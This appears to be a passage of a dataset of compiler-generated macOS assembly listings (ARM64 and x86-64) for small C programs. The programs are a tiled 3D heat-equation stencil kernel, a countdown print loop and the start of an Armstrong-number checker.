ldr x8, [sp, #128]
ldrsw x9, [sp, #100]
mul x9, x9, x11
add x8, x8, x9
ldrsw x9, [sp, #108]
mul x9, x9, x10
add x8, x8, x9
ldrsw x9, [sp, #116]
str d0, [x8, x9, lsl #3]
b LBB0_58
LBB0_58: ; in Loop: Header=BB0_53 Depth=7
ldr w8, [sp, #116]
add w8, w8, #1
str w8, [sp, #116]
b LBB0_53
LBB0_59: ; in Loop: Header=BB0_51 Depth=6
b LBB0_60
LBB0_60: ; in Loop: Header=BB0_51 Depth=6
ldr w8, [sp, #112]
add w8, w8, #64
str w8, [sp, #112]
b LBB0_51
LBB0_61: ; in Loop: Header=BB0_46 Depth=5
b LBB0_62
LBB0_62: ; in Loop: Header=BB0_46 Depth=5
ldr w8, [sp, #108]
add w8, w8, #1
str w8, [sp, #108]
b LBB0_46
LBB0_63: ; in Loop: Header=BB0_44 Depth=4
b LBB0_64
LBB0_64: ; in Loop: Header=BB0_44 Depth=4
ldr w8, [sp, #104]
add w8, w8, #16
str w8, [sp, #104]
b LBB0_44
LBB0_65: ; in Loop: Header=BB0_39 Depth=3
b LBB0_66
LBB0_66: ; in Loop: Header=BB0_39 Depth=3
ldr w8, [sp, #100]
add w8, w8, #1
str w8, [sp, #100]
b LBB0_39
LBB0_67: ; in Loop: Header=BB0_37 Depth=2
b LBB0_68
LBB0_68: ; in Loop: Header=BB0_37 Depth=2
ldr w8, [sp, #96]
add w8, w8, #16
str w8, [sp, #96]
b LBB0_37
LBB0_69: ; in Loop: Header=BB0_2 Depth=1
b LBB0_70
LBB0_70: ; in Loop: Header=BB0_2 Depth=1
ldr w8, [sp, #92]
add w8, w8, #1
str w8, [sp, #92]
b LBB0_2
LBB0_71:
b LBB0_72
LBB0_72:
add sp, sp, #144
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function kernel_heat_3d
LCPI0_0:
.quad 0x3fc0000000000000 ## double 0.125
.section __TEXT,__text,regular,pure_instructions
.globl _kernel_heat_3d
.p2align 4, 0x90
_kernel_heat_3d: ## @kernel_heat_3d
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movq %rdx, -16(%rbp)
movq %rcx, -24(%rbp)
movl $3, %eax
cmpl -8(%rbp), %eax
jg LBB0_72
## %bb.1:
movl $1, -52(%rbp)
LBB0_2: ## =>This Loop Header: Depth=1
## Child Loop BB0_4 Depth 2
## Child Loop BB0_6 Depth 3
## Child Loop BB0_11 Depth 4
## Child Loop BB0_13 Depth 5
## Child Loop BB0_18 Depth 6
## Child Loop BB0_20 Depth 7
## Child Loop BB0_37 Depth 2
## Child Loop BB0_39 Depth 3
## Child Loop BB0_44 Depth 4
## Child Loop BB0_46 Depth 5
## Child Loop BB0_51 Depth 6
## Child Loop BB0_53 Depth 7
cmpl $500, -52(%rbp) ## imm = 0x1F4
jg LBB0_71
## %bb.3: ## in Loop: Header=BB0_2 Depth=1
movl $1, -48(%rbp)
LBB0_4: ## Parent Loop BB0_2 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_6 Depth 3
## Child Loop BB0_11 Depth 4
## Child Loop BB0_13 Depth 5
## Child Loop BB0_18 Depth 6
## Child Loop BB0_20 Depth 7
movl -48(%rbp), %eax
movl -8(%rbp), %ecx
subl $2, %ecx
cmpl %ecx, %eax
jg LBB0_36
## %bb.5: ## in Loop: Header=BB0_4 Depth=2
movl -48(%rbp), %eax
movl %eax, -44(%rbp)
LBB0_6: ## Parent Loop BB0_2 Depth=1
## Parent Loop BB0_4 Depth=2
## => This Loop Header: Depth=3
## Child Loop BB0_11 Depth 4
## Child Loop BB0_13 Depth 5
## Child Loop BB0_18 Depth 6
## Child Loop BB0_20 Depth 7
movl -44(%rbp), %eax
movl %eax, -56(%rbp) ## 4-byte Spill
movl -8(%rbp), %eax
subl $2, %eax
movl -48(%rbp), %ecx
addl $15, %ecx
cmpl %ecx, %eax
jge LBB0_8
## %bb.7: ## in Loop: Header=BB0_6 Depth=3
movl -8(%rbp), %eax
subl $2, %eax
movl %eax, -60(%rbp) ## 4-byte Spill
jmp LBB0_9
LBB0_8: ## in Loop: Header=BB0_6 Depth=3
movl -48(%rbp), %eax
addl $15, %eax
movl %eax, -60(%rbp) ## 4-byte Spill
LBB0_9: ## in Loop: Header=BB0_6 Depth=3
movl -56(%rbp), %eax ## 4-byte Reload
movl -60(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
jg LBB0_34
## %bb.10: ## in Loop: Header=BB0_6 Depth=3
movl $1, -40(%rbp)
LBB0_11: ## Parent Loop BB0_2 Depth=1
## Parent Loop BB0_4 Depth=2
## Parent Loop BB0_6 Depth=3
## => This Loop Header: Depth=4
## Child Loop BB0_13 Depth 5
## Child Loop BB0_18 Depth 6
## Child Loop BB0_20 Depth 7
movl -40(%rbp), %eax
movl -8(%rbp), %ecx
subl $2, %ecx
cmpl %ecx, %eax
jg LBB0_32
## %bb.12: ## in Loop: Header=BB0_11 Depth=4
movl -40(%rbp), %eax
movl %eax, -36(%rbp)
LBB0_13: ## Parent Loop BB0_2 Depth=1
## Parent Loop BB0_4 Depth=2
## Parent Loop BB0_6 Depth=3
## Parent Loop BB0_11 Depth=4
## => This Loop Header: Depth=5
## Child Loop BB0_18 Depth 6
## Child Loop BB0_20 Depth 7
movl -36(%rbp), %eax
movl %eax, -64(%rbp) ## 4-byte Spill
movl -8(%rbp), %eax
subl $2, %eax
movl -40(%rbp), %ecx
addl $15, %ecx
cmpl %ecx, %eax
jge LBB0_15
## %bb.14: ## in Loop: Header=BB0_13 Depth=5
movl -8(%rbp), %eax
subl $2, %eax
movl %eax, -68(%rbp) ## 4-byte Spill
jmp LBB0_16
LBB0_15: ## in Loop: Header=BB0_13 Depth=5
movl -40(%rbp), %eax
addl $15, %eax
movl %eax, -68(%rbp) ## 4-byte Spill
LBB0_16: ## in Loop: Header=BB0_13 Depth=5
movl -64(%rbp), %eax ## 4-byte Reload
movl -68(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
jg LBB0_30
## %bb.17: ## in Loop: Header=BB0_13 Depth=5
movl $1, -32(%rbp)
LBB0_18: ## Parent Loop BB0_2 Depth=1
## Parent Loop BB0_4 Depth=2
## Parent Loop BB0_6 Depth=3
## Parent Loop BB0_11 Depth=4
## Parent Loop BB0_13 Depth=5
## => This Loop Header: Depth=6
## Child Loop BB0_20 Depth 7
movl -32(%rbp), %eax
movl -8(%rbp), %ecx
subl $2, %ecx
cmpl %ecx, %eax
jg LBB0_28
## %bb.19: ## in Loop: Header=BB0_18 Depth=6
movl -32(%rbp), %eax
movl %eax, -28(%rbp)
LBB0_20: ## Parent Loop BB0_2 Depth=1
## Parent Loop BB0_4 Depth=2
## Parent Loop BB0_6 Depth=3
## Parent Loop BB0_11 Depth=4
## Parent Loop BB0_13 Depth=5
## Parent Loop BB0_18 Depth=6
## => This Inner Loop Header: Depth=7
movl -28(%rbp), %eax
movl %eax, -72(%rbp) ## 4-byte Spill
movl -32(%rbp), %eax
addl $63, %eax
movl -8(%rbp), %ecx
subl $2, %ecx
cmpl %ecx, %eax
jge LBB0_22
## %bb.21: ## in Loop: Header=BB0_20 Depth=7
movl -32(%rbp), %eax
addl $63, %eax
movl %eax, -76(%rbp) ## 4-byte Spill
jmp LBB0_23
LBB0_22: ## in Loop: Header=BB0_20 Depth=7
movl -8(%rbp), %eax
subl $2, %eax
movl %eax, -76(%rbp) ## 4-byte Spill
LBB0_23: ## in Loop: Header=BB0_20 Depth=7
movl -72(%rbp), %eax ## 4-byte Reload
movl -76(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
jg LBB0_26
## %bb.24: ## in Loop: Header=BB0_20 Depth=7
movq -16(%rbp), %rax
movl -44(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
movq -16(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
addsd %xmm0, %xmm0
subsd %xmm0, %xmm1
movq -16(%rbp), %rax
movl -44(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm1
movq -16(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movl -36(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm2 ## xmm2 = mem[0],zero
movq -16(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
addsd %xmm0, %xmm0
subsd %xmm0, %xmm2
movq -16(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movl -36(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm2
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd %xmm2, %xmm0
movsd LCPI0_0(%rip), %xmm2 ## xmm2 = mem[0],zero
mulsd %xmm2, %xmm1
addsd %xmm0, %xmm1
movq -16(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movl -28(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -16(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm2 ## xmm2 = mem[0],zero
addsd %xmm2, %xmm2
subsd %xmm2, %xmm0
movq -16(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movl -28(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
addsd (%rax,%rcx,8), %xmm0
movsd LCPI0_0(%rip), %xmm2 ## xmm2 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movq -16(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm0
movq -24(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
## %bb.25: ## in Loop: Header=BB0_20 Depth=7
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB0_20
LBB0_26: ## in Loop: Header=BB0_18 Depth=6
jmp LBB0_27
LBB0_27: ## in Loop: Header=BB0_18 Depth=6
movl -32(%rbp), %eax
addl $64, %eax
movl %eax, -32(%rbp)
jmp LBB0_18
LBB0_28: ## in Loop: Header=BB0_13 Depth=5
jmp LBB0_29
LBB0_29: ## in Loop: Header=BB0_13 Depth=5
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
jmp LBB0_13
LBB0_30: ## in Loop: Header=BB0_11 Depth=4
jmp LBB0_31
LBB0_31: ## in Loop: Header=BB0_11 Depth=4
movl -40(%rbp), %eax
addl $16, %eax
movl %eax, -40(%rbp)
jmp LBB0_11
LBB0_32: ## in Loop: Header=BB0_6 Depth=3
jmp LBB0_33
LBB0_33: ## in Loop: Header=BB0_6 Depth=3
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB0_6
LBB0_34: ## in Loop: Header=BB0_4 Depth=2
jmp LBB0_35
LBB0_35: ## in Loop: Header=BB0_4 Depth=2
movl -48(%rbp), %eax
addl $16, %eax
movl %eax, -48(%rbp)
jmp LBB0_4
LBB0_36: ## in Loop: Header=BB0_2 Depth=1
movl $1, -48(%rbp)
LBB0_37: ## Parent Loop BB0_2 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_39 Depth 3
## Child Loop BB0_44 Depth 4
## Child Loop BB0_46 Depth 5
## Child Loop BB0_51 Depth 6
## Child Loop BB0_53 Depth 7
movl -48(%rbp), %eax
movl -8(%rbp), %ecx
subl $2, %ecx
cmpl %ecx, %eax
jg LBB0_69
## %bb.38: ## in Loop: Header=BB0_37 Depth=2
movl -48(%rbp), %eax
movl %eax, -44(%rbp)
LBB0_39: ## Parent Loop BB0_2 Depth=1
## Parent Loop BB0_37 Depth=2
## => This Loop Header: Depth=3
## Child Loop BB0_44 Depth 4
## Child Loop BB0_46 Depth 5
## Child Loop BB0_51 Depth 6
## Child Loop BB0_53 Depth 7
movl -44(%rbp), %eax
movl %eax, -80(%rbp) ## 4-byte Spill
movl -8(%rbp), %eax
subl $2, %eax
movl -48(%rbp), %ecx
addl $15, %ecx
cmpl %ecx, %eax
jge LBB0_41
## %bb.40: ## in Loop: Header=BB0_39 Depth=3
movl -8(%rbp), %eax
subl $2, %eax
movl %eax, -84(%rbp) ## 4-byte Spill
jmp LBB0_42
LBB0_41: ## in Loop: Header=BB0_39 Depth=3
movl -48(%rbp), %eax
addl $15, %eax
movl %eax, -84(%rbp) ## 4-byte Spill
LBB0_42: ## in Loop: Header=BB0_39 Depth=3
movl -80(%rbp), %eax ## 4-byte Reload
movl -84(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
jg LBB0_67
## %bb.43: ## in Loop: Header=BB0_39 Depth=3
movl $1, -40(%rbp)
LBB0_44: ## Parent Loop BB0_2 Depth=1
## Parent Loop BB0_37 Depth=2
## Parent Loop BB0_39 Depth=3
## => This Loop Header: Depth=4
## Child Loop BB0_46 Depth 5
## Child Loop BB0_51 Depth 6
## Child Loop BB0_53 Depth 7
movl -40(%rbp), %eax
movl -8(%rbp), %ecx
subl $2, %ecx
cmpl %ecx, %eax
jg LBB0_65
## %bb.45: ## in Loop: Header=BB0_44 Depth=4
movl -40(%rbp), %eax
movl %eax, -36(%rbp)
LBB0_46: ## Parent Loop BB0_2 Depth=1
## Parent Loop BB0_37 Depth=2
## Parent Loop BB0_39 Depth=3
## Parent Loop BB0_44 Depth=4
## => This Loop Header: Depth=5
## Child Loop BB0_51 Depth 6
## Child Loop BB0_53 Depth 7
movl -36(%rbp), %eax
movl %eax, -88(%rbp) ## 4-byte Spill
movl -8(%rbp), %eax
subl $2, %eax
movl -40(%rbp), %ecx
addl $15, %ecx
cmpl %ecx, %eax
jge LBB0_48
## %bb.47: ## in Loop: Header=BB0_46 Depth=5
movl -8(%rbp), %eax
subl $2, %eax
movl %eax, -92(%rbp) ## 4-byte Spill
jmp LBB0_49
LBB0_48: ## in Loop: Header=BB0_46 Depth=5
movl -40(%rbp), %eax
addl $15, %eax
movl %eax, -92(%rbp) ## 4-byte Spill
LBB0_49: ## in Loop: Header=BB0_46 Depth=5
movl -88(%rbp), %eax ## 4-byte Reload
movl -92(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
jg LBB0_63
## %bb.50: ## in Loop: Header=BB0_46 Depth=5
movl $1, -32(%rbp)
LBB0_51: ## Parent Loop BB0_2 Depth=1
## Parent Loop BB0_37 Depth=2
## Parent Loop BB0_39 Depth=3
## Parent Loop BB0_44 Depth=4
## Parent Loop BB0_46 Depth=5
## => This Loop Header: Depth=6
## Child Loop BB0_53 Depth 7
movl -32(%rbp), %eax
movl -8(%rbp), %ecx
subl $2, %ecx
cmpl %ecx, %eax
jg LBB0_61
## %bb.52: ## in Loop: Header=BB0_51 Depth=6
movl -32(%rbp), %eax
movl %eax, -28(%rbp)
LBB0_53: ## Parent Loop BB0_2 Depth=1
## Parent Loop BB0_37 Depth=2
## Parent Loop BB0_39 Depth=3
## Parent Loop BB0_44 Depth=4
## Parent Loop BB0_46 Depth=5
## Parent Loop BB0_51 Depth=6
## => This Inner Loop Header: Depth=7
movl -28(%rbp), %eax
movl %eax, -96(%rbp) ## 4-byte Spill
movl -32(%rbp), %eax
addl $63, %eax
movl -8(%rbp), %ecx
subl $2, %ecx
cmpl %ecx, %eax
jge LBB0_55
## %bb.54: ## in Loop: Header=BB0_53 Depth=7
movl -32(%rbp), %eax
addl $63, %eax
movl %eax, -100(%rbp) ## 4-byte Spill
jmp LBB0_56
LBB0_55: ## in Loop: Header=BB0_53 Depth=7
movl -8(%rbp), %eax
subl $2, %eax
movl %eax, -100(%rbp) ## 4-byte Spill
LBB0_56: ## in Loop: Header=BB0_53 Depth=7
movl -96(%rbp), %eax ## 4-byte Reload
movl -100(%rbp), %ecx ## 4-byte Reload
cmpl %ecx, %eax
jg LBB0_59
## %bb.57: ## in Loop: Header=BB0_53 Depth=7
movq -24(%rbp), %rax
movl -44(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero
movq -24(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
addsd %xmm0, %xmm0
subsd %xmm0, %xmm1
movq -24(%rbp), %rax
movl -44(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm1
movq -24(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movl -36(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm2 ## xmm2 = mem[0],zero
movq -24(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
addsd %xmm0, %xmm0
subsd %xmm0, %xmm2
movq -24(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movl -36(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm2
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
mulsd %xmm2, %xmm0
movsd LCPI0_0(%rip), %xmm2 ## xmm2 = mem[0],zero
mulsd %xmm2, %xmm1
addsd %xmm0, %xmm1
movq -24(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movl -28(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rcx
movsd (%rax,%rcx,8), %xmm0 ## xmm0 = mem[0],zero
movq -24(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd (%rax,%rcx,8), %xmm2 ## xmm2 = mem[0],zero
addsd %xmm2, %xmm2
subsd %xmm2, %xmm0
movq -24(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movl -28(%rbp), %ecx
subl $1, %ecx
movslq %ecx, %rcx
addsd (%rax,%rcx,8), %xmm0
movsd LCPI0_0(%rip), %xmm2 ## xmm2 = mem[0],zero
mulsd %xmm2, %xmm0
addsd %xmm1, %xmm0
movq -24(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
addsd (%rax,%rcx,8), %xmm0
movq -16(%rbp), %rax
movslq -44(%rbp), %rcx
imulq $115200, %rcx, %rcx ## imm = 0x1C200
addq %rcx, %rax
movslq -36(%rbp), %rcx
imulq $960, %rcx, %rcx ## imm = 0x3C0
addq %rcx, %rax
movslq -28(%rbp), %rcx
movsd %xmm0, (%rax,%rcx,8)
## %bb.58: ## in Loop: Header=BB0_53 Depth=7
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB0_53
LBB0_59: ## in Loop: Header=BB0_51 Depth=6
jmp LBB0_60
LBB0_60: ## in Loop: Header=BB0_51 Depth=6
movl -32(%rbp), %eax
addl $64, %eax
movl %eax, -32(%rbp)
jmp LBB0_51
LBB0_61: ## in Loop: Header=BB0_46 Depth=5
jmp LBB0_62
LBB0_62: ## in Loop: Header=BB0_46 Depth=5
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
jmp LBB0_46
LBB0_63: ## in Loop: Header=BB0_44 Depth=4
jmp LBB0_64
LBB0_64: ## in Loop: Header=BB0_44 Depth=4
movl -40(%rbp), %eax
addl $16, %eax
movl %eax, -40(%rbp)
jmp LBB0_44
LBB0_65: ## in Loop: Header=BB0_39 Depth=3
jmp LBB0_66
LBB0_66: ## in Loop: Header=BB0_39 Depth=3
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB0_39
LBB0_67: ## in Loop: Header=BB0_37 Depth=2
jmp LBB0_68
LBB0_68: ## in Loop: Header=BB0_37 Depth=2
movl -48(%rbp), %eax
addl $16, %eax
movl %eax, -48(%rbp)
jmp LBB0_37
LBB0_69: ## in Loop: Header=BB0_2 Depth=1
jmp LBB0_70
LBB0_70: ## in Loop: Header=BB0_2 Depth=1
movl -52(%rbp), %eax
addl $1, %eax
movl %eax, -52(%rbp)
jmp LBB0_2
LBB0_71:
jmp LBB0_72
LBB0_72:
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/75847.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
adrp x8, _n@PAGE
str x8, [sp, #16] ; 8-byte Folded Spill
ldr x8, [x8, _n@PAGEOFF]
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x9, [x8, _n@PAGEOFF]
subs x9, x9, #1
str x9, [x8, _n@PAGEOFF]
ldr x8, [x8, _n@PAGEOFF]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_3
b LBB0_2
LBB0_2:
b LBB0_5
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_1 Depth=1
mov w8, #1
tbnz w8, #0, LBB0_1
b LBB0_5
LBB0_5:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __DATA,__data
.globl _n ; @n
.p2align 3
_n:
.quad 5 ; 0x5
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
LBB0_1: ## =>This Inner Loop Header: Depth=1
movq _n(%rip), %rsi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq _n(%rip), %rax
subq $1, %rax
movq %rax, _n(%rip)
cmpq $0, _n(%rip)
jne LBB0_3
## %bb.2:
jmp LBB0_5
LBB0_3: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_4
LBB0_4: ## in Loop: Header=BB0_1 Depth=1
movb $1, %al
testb $1, %al
jne LBB0_1
jmp LBB0_5
LBB0_5:
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __DATA,__data
.globl _n ## @n
.p2align 3
_n:
.quad 5 ## 0x5
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/25032.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
sub x8, x29, #8
str x8, [sp, #8] ; 8-byte Folded Spill
stur wzr, [x29, #-8]
sub x8, x29, #12
str x8, [sp, #16] ; 8-byte Folded Spill
stur wzr, [x29, #-12]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x8, [sp, #8] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
str x0, [sp, #24] ; 8-byte Folded Spill
bl _scanf
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x0, [sp, #24] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
bl _scanf
ldur w8, [x29, #-8]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
stur wzr, [x29, #-4]
b LBB0_3
LBB0_2:
ldur w0, [x29, #-8]
ldur w1, [x29, #-12]
bl _armstrong
b LBB0_3
LBB0_3:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _armstrong ; -- Begin function armstrong
.p2align 2
_armstrong: ; @armstrong
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
